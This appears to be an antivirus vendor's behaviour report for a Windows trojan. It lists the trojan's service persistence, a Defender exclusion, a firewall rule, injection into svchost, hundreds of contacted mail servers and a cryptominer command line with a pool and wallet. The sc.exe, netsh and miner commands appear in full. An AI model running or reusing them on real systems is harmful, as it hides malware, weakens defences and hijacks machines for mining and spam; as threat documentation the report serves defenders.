Trojan.Siggen17.32468

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\ufowkpsi] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ufowkpsi] 'ImagePath' = '%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ufowkpsi] 'ImagePath' = '%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe'

Creates the following services

'ufowkpsi' %WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d"<Full path to file>"
'ufowkpsi' %WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ufowkpsi' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\zlwuugwy.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\zlwuugwy.exe to %WINDIR%\syswow64\ufowkpsi\zlwuugwy.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'xm###chool.cf':2222
'mx#######a01.gslb.pphosted.com':25
'fe####lobaltech.com':25
'm-#####erity.awrla.com':25
'ma###.##deralprotection.com':25
'mx#.##lkomsa.net':25
'pr####oint2.sfu.ca':25
'15#.#40.201.174':443
'mx#######c03.gslb.pphosted.com':25
'mx#.#aiw.net':25
'mx#.#anmail.net':25
'ma##.##iversalpr.com':25
'gmail-smtp-in.l.google.com':25
'mx#######201.gslb.pphosted.com':25
'mx#######301.gslb.pphosted.com':25
'ma##.gaggle.net':25
'sm####n.quick.cz':25
'mx.###brasil.com':25
'mx###.comcast.net':25
'mx#.#angia.biz':25
'ma####xt.rand.org':25
'cl#####an9.ilger.com':25
'fb##nc.com':25
'na#.###.#rotection.outlook.com':25
'ex#####e.lastmail.co':25
'mx.##.#topenworld.com':25
'mx#.###292-22.iphmx.com':25
'se####.fapam.com':25
'mx#######602.gslb.pphosted.com':25
'cu##.#onmouth.com':25
'mx.###difularts.com':25
'ma####.greeninbox.org':25
'mx#.#eobee.net':25
'mx##.m1bp.com':25
'ld##########g.mail.protection.outlook.com':25
'go##le.es':443
'um###########-org.mail.protection.outlook.com':25
'mx##.#mig.gmx.net':25
'mx#######f02.gslb.pphosted.com':25
'mx.##eugenio.it':25
'mx#######b01.gslb.pphosted.com':25
'mx.###rogetmould.it':25
'mx#######001.gslb.pphosted.com':25
'mx#######d01.gslb.pphosted.com':25
'2n##res.org':443
'd1######.#ss.barracudanetworks.com':25
'ex#####.bpbb.bigpond.com':25
'17#.#0.195.52':443
'ma##.#oletour.com':25
'mx.####o.locaweb.com.br':25
'wa####-api.btc.com':443
'ma##.#rodubanco.com':25
'r-####4.korea.com':25
'sp######er.stellarllc.net':25
'ma######k.com.1.arsmtp.com':25
'm.###tube.com':443
'mx#.#ate.com':25
'mx#######901.gslb.pphosted.com':25
'mx#######e01.gslb.pphosted.com':25
'sm####.eastlink.ca':25
'mx.##s.untd.com':25
'mx#.####.net.gslb.pphosted.com':25
'ALT1.ASPMX.L.GOOGLE.COM':25
'sm##.##t.microfocus.com':25
'mx#.#aver.com':25
'cx#.##.#.cloudfilter.net':25
'mt##.##0.yahoodns.net':25
'ex#######onsv.com.1.arsmtp.com':25
'mx#######101.gslb.pphosted.com':25
'zm##.##stinglotus.com':25
'mx.####.legalmail.it':25
'ma###.eircom.net':25
'mx.##.#tinternet.com':25
'mx.#len.pl':25
'ma####.cityofbryan.net':25
'mx##.#ocospace.com':25
'mx#.####te.mail2world.com':25
'ma##.##pconcepts.com':25
'ma####.dolphinmail.org':25
'mx.#####.#e.cust.b.hostedemail.com':25
'ex######.hardingpost.com':25
'mx####.##il.gm0.yahoodns.net':25
'eu#.###.#rotection.outlook.com':25
'mx######91d01.pphosted.com':25
'mx##.mail.com':25
'mx.######mail.rediff.akadns.net':25
'62.##4.41.45':484
'ni###eimr.cn':443
'62.##4.41.47':428
'62.##4.41.48':428
'62.##4.41.46':428
'91.#43.33.5':428
'mx##.#-online.de':25
'62.##4.41.50':428
'em##.freenet.de':25
'cu#######-1.in.mailcontrol.com':25
'mx#######.mail.am0.yahoodns.net':25
'ma##.citex.com':25
'alt2.aspmx.l.google.com':25
'google.com':443
'mx.##wered.name':25
'ma###.#ailinator.com':25
'ma##.###ilycenteronline.com':25
'mx.#####.#om.cust.b.hostedemail.com':25
'al######x-vip1.prodigy.net':25
'ma##.#-email.net':25
'mx.###dioaverna.it':25
'in###gram.com':443
'in.###l.amis.net':25
'al######x-vip2.prodigy.net':25
'mx##.##irmontsupply.com':25
'mx##.###us-vadesecure.net':25
'mx#.##tsolmail.net':25
'ma####b.siol.net':25
'ma####.fabric.com':25
'ma##.#luetie.com':25
'mx#######501.gslb.pphosted.com':25
'ASPMX.L.GOOGLE.COM':25
'10#.#6.197.214':443
'google.com':80
'62.##4.41.49':428
'mx###.##il.gm0.yahoodns.net':25
'mx.###ath-italy.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'ni###eimr.cn':443
'mx#.#anmail.net':25
'gmail-smtp-in.l.google.com':25
'ma##.gaggle.net':25
'sm####n.quick.cz':25
'cl#####an9.ilger.com':25
'mx#.###292-22.iphmx.com':25
'15#.#40.201.174':443
'fb##nc.com':25
'se####.fapam.com':25
'cu#######-1.in.mailcontrol.com':25
'mx#.####.net.gslb.pphosted.com':25
'mx#######.mail.am0.yahoodns.net':25
'alt2.aspmx.l.google.com':25
'ma##.citex.com':25
'na#.###.#rotection.outlook.com':25
'ma###.##deralprotection.com':25
'xm###chool.cf':2222
'cu##.#onmouth.com':25
'mx##.m1bp.com':25
'fe####lobaltech.com':25
'go##le.es':443
'um###########-org.mail.protection.outlook.com':25
'mx#######b01.gslb.pphosted.com':25
'ma##.#rodubanco.com':25
'2n##res.org':443
'r-####4.korea.com':25
'sp######er.stellarllc.net':25
'17#.#0.195.52':443
'wa####-api.btc.com':443
'ma##.###ilycenteronline.com':25
'ma######k.com.1.arsmtp.com':25
'mx#######901.gslb.pphosted.com':25
'm.###tube.com':443
'google.com':443
'in###gram.com':443
'ma###.#ailinator.com':25
'ma##.#-email.net':25
'62.##4.41.46':428
'mx#.#aver.com':25
'ex#######onsv.com.1.arsmtp.com':25
'mx.##.#tinternet.com':25
'mx.####.legalmail.it':25
'ma####.cityofbryan.net':25
'62.##4.41.48':428
'mx##.#ocospace.com':25
'mx.######mail.rediff.akadns.net':25
'mx####.##il.gm0.yahoodns.net':25
'ma##.##pconcepts.com':25
'mx#.####te.mail2world.com':25
'eu#.###.#rotection.outlook.com':25
'62.##4.41.45':484
'ex######.hardingpost.com':25
'62.##4.41.47':428
'62.##4.41.50':428
'62.##4.41.49':428
'mx###.##il.gm0.yahoodns.net':25
'zm##.##stinglotus.com':25
'd1######.#ss.barracudanetworks.com':25
'in.###l.amis.net':25
'al######x-vip2.prodigy.net':25
'mx##.##irmontsupply.com':25
'mx#.##tsolmail.net':25
'ma####b.siol.net':25
'ma####.fabric.com':25
'mt##.##0.yahoodns.net':25
'ASPMX.L.GOOGLE.COM':25
'ma####.dolphinmail.org':25
'ALT1.ASPMX.L.GOOGLE.COM':25
'10#.#6.197.214':443
'91.#43.33.5':428
'al######x-vip1.prodigy.net':25
'ld##########g.mail.protection.outlook.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx#.#anmail.net
DNS ASK ka###foon.nl
DNS ASK mx#.#aiw.net
DNS ASK fc#.com
DNS ASK mx#######c03.gslb.pphosted.com
DNS ASK sf#.ca
DNS ASK pr####oint2.sfu.ca
DNS ASK te###msa.net
DNS ASK mx#.##lkomsa.net
DNS ASK fe#####construction.com
DNS ASK ma###.##deralprotection.com
DNS ASK re#####cservices.com
DNS ASK ha##ail.net
DNS ASK ya##oo.com
DNS ASK fe####lobaltech.com
DNS ASK ch##.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK xm###chool.cf
DNS ASK mo###uth.com
DNS ASK cu##.#onmouth.com
DNS ASK co##i.net
DNS ASK be####ularts.com
DNS ASK mx.###difularts.com
DNS ASK fl#####olasvegas.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK aw##a.com
DNS ASK m-#####erity.awrla.com
DNS ASK ma##.##iversalpr.com
DNS ASK un###rsalpr.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK la##mail.co
DNS ASK ex#####e.lastmail.co
DNS ASK fb##nc.com
DNS ASK we##v.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK wi###wslive.com
DNS ASK ki####etes-rc.it
DNS ASK cl#####an9.ilger.com
DNS ASK ra##.org
DNS ASK ma####xt.rand.org
DNS ASK be###outh.net
DNS ASK cm###asil.com
DNS ASK mx.##.#topenworld.com
DNS ASK mx.###brasil.com
DNS ASK mx#.#angia.biz
DNS ASK co##ast.net
DNS ASK mx###.comcast.net
DNS ASK qu##k.cz
DNS ASK sm####n.quick.cz
DNS ASK ga##le.net
DNS ASK ma##.gaggle.net
DNS ASK ea####npropane.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK ma###bank.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK gm##l.com
DNS ASK pr##.net
DNS ASK na##.com
DNS ASK fo###rfarms.com
DNS ASK mx##.mb5p.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK e-##s.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK di###enio.it
DNS ASK mx.##eugenio.it
DNS ASK mi###pring.com
DNS ASK da##.net
DNS ASK fl##e.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK gm#.net
DNS ASK mx##.#mig.gmx.net
DNS ASK um####emorial.org
DNS ASK dg####etmould.it
DNS ASK mx.###rogetmould.it
DNS ASK um###########-org.mail.protection.outlook.com
DNS ASK ld##########g.mail.protection.outlook.com
DNS ASK mx##.m1bp.com
DNS ASK ne##ee.net
DNS ASK mx#.#eobee.net
DNS ASK gr###inbox.org
DNS ASK ma####.greeninbox.org
DNS ASK in###gram.com
DNS ASK in####-italy.com
DNS ASK mx.###ath-italy.com
DNS ASK ha###ermail.net
DNS ASK on###nkpr.net
DNS ASK go##le.es
DNS ASK ld###urch.org
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK av##tas.com
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK kt##n.net
DNS ASK ou##ook.fr
DNS ASK ha##ahs.com
DNS ASK ma###nmok.com
DNS ASK ma######k.com.1.arsmtp.com
DNS ASK tn##s.com
DNS ASK sp######er.stellarllc.net
DNS ASK ca###badusd.net
DNS ASK ko##a.com
DNS ASK r-####4.korea.com
DNS ASK pr###banco.com
DNS ASK ma##.#rodubanco.com
DNS ASK m.###tube.com
DNS ASK wa####-api.btc.com
DNS ASK ma##.#oletour.com
DNS ASK gl##o.com
DNS ASK mx.####o.locaweb.com.br
DNS ASK bi###nd.net.au
DNS ASK ex#####.bpbb.bigpond.com
DNS ASK pe####ainternet.com
DNS ASK bu###rdisd.net
DNS ASK pe#####smastering.com
DNS ASK 2n##res.org
DNS ASK st###oaverna.it
DNS ASK mx.###dioaverna.it
DNS ASK ar##st.com
DNS ASK bo###our.com
DNS ASK bt###nworld.com
DNS ASK mx#.#ate.com
DNS ASK at#.com
DNS ASK am###trade.com
DNS ASK mx.#len.pl
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK ei##om.net
DNS ASK ma###.eircom.net
DNS ASK le###mail.it
DNS ASK mx.####.legalmail.it
DNS ASK ub##all.com
DNS ASK zm##.##stinglotus.com
DNS ASK jo###eere.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK mx##.#ocospace.com
DNS ASK o2.pl
DNS ASK ex####ationsv.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK se##na.com
DNS ASK sm##.##t.microfocus.com
DNS ASK ey##ea.eu
DNS ASK ALT1.ASPMX.L.GOOGLE.COM
DNS ASK co###iff.org
DNS ASK google.com
DNS ASK ex#######onsv.com.1.arsmtp.com
DNS ASK ro###tmail.com
DNS ASK mo###pace.com
DNS ASK ma####.cityofbryan.net
DNS ASK ci###fbryan.net
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK be###outh.com
DNS ASK mx######91d01.pphosted.com
DNS ASK li#e.de
DNS ASK ni###eimr.cn
DNS ASK ha###ngpost.com
DNS ASK ex######.hardingpost.com
DNS ASK ex##te.it
DNS ASK mx#.####te.mail2world.com
DNS ASK ve##zon.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ly##s.de
DNS ASK mx.#####.#e.cust.b.hostedemail.com
DNS ASK do###inmail.org
DNS ASK ma####.dolphinmail.org
DNS ASK ex###ncepts.com
DNS ASK ma##.##pconcepts.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK ba##er.com
DNS ASK ja####coffee.com
DNS ASK mx.##wered.name
DNS ASK ip#.ac.nz
DNS ASK alt2.aspmx.l.google.com
DNS ASK ed#.#snhid.pl
DNS ASK ci##x.com
DNS ASK ma##.citex.com
DNS ASK ro##rs.com
DNS ASK mx#######.mail.am0.yahoodns.net
DNS ASK bl#####onechambers.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK fr##net.de
DNS ASK ma###.#ailinator.com
DNS ASK ch###seo.net
DNS ASK em##.freenet.de
DNS ASK mx#.####.net.gslb.pphosted.com
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK ju##.com
DNS ASK mx.##s.untd.com
DNS ASK pe##ona.ca
DNS ASK sm####.eastlink.ca
DNS ASK fa##m.com
DNS ASK se####.fapam.com
DNS ASK pg.com
DNS ASK mx#######602.gslb.pphosted.com
DNS ASK in###ieros.com
DNS ASK oc##.net
DNS ASK ma###nator.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK ly##s.com
DNS ASK ma##.#luetie.com
DNS ASK ma####.fabric.com
DNS ASK ba#####tonschools.net
DNS ASK si##.net
DNS ASK ma####b.siol.net
DNS ASK ac###sia.com
DNS ASK mx#.##tsolmail.net
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK fa####ntsupply.com
DNS ASK mx##.##irmontsupply.com
DNS ASK at#.net
DNS ASK fa##ic.com
DNS ASK al######x-vip2.prodigy.net
DNS ASK in.###l.amis.net
DNS ASK un##nps.org
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK ki##.com
DNS ASK mx###.##il.gm0.yahoodns.net
DNS ASK tr###npost.com
DNS ASK ma##.#-email.net
DNS ASK ns.net
DNS ASK pa##ell.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK fa#####enteronline.com
DNS ASK ma##.###ilycenteronline.com
DNS ASK am##.net
DNS ASK mx#.###292-22.iphmx.com
DNS ASK on#t.pl

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ufowkpsi\zlwuugwy.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ufowkpsi\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zlwuugwy.exe" %WINDIR%\SysWOW64\ufowkpsi\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ufowkpsi binPath= "%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ufowkpsi "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ufowkpsi' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ufowkpsi\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zlwuugwy.exe" %WINDIR%\SysWOW64\ufowkpsi\
'%WINDIR%\syswow64\sc.exe' create ufowkpsi binPath= "%WINDIR%\SysWOW64\ufowkpsi\zlwuugwy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ufowkpsi "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ufowkpsi
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o xmr-school.cf:2222 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+50000 -p x -k -a cn/half

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Technical Information

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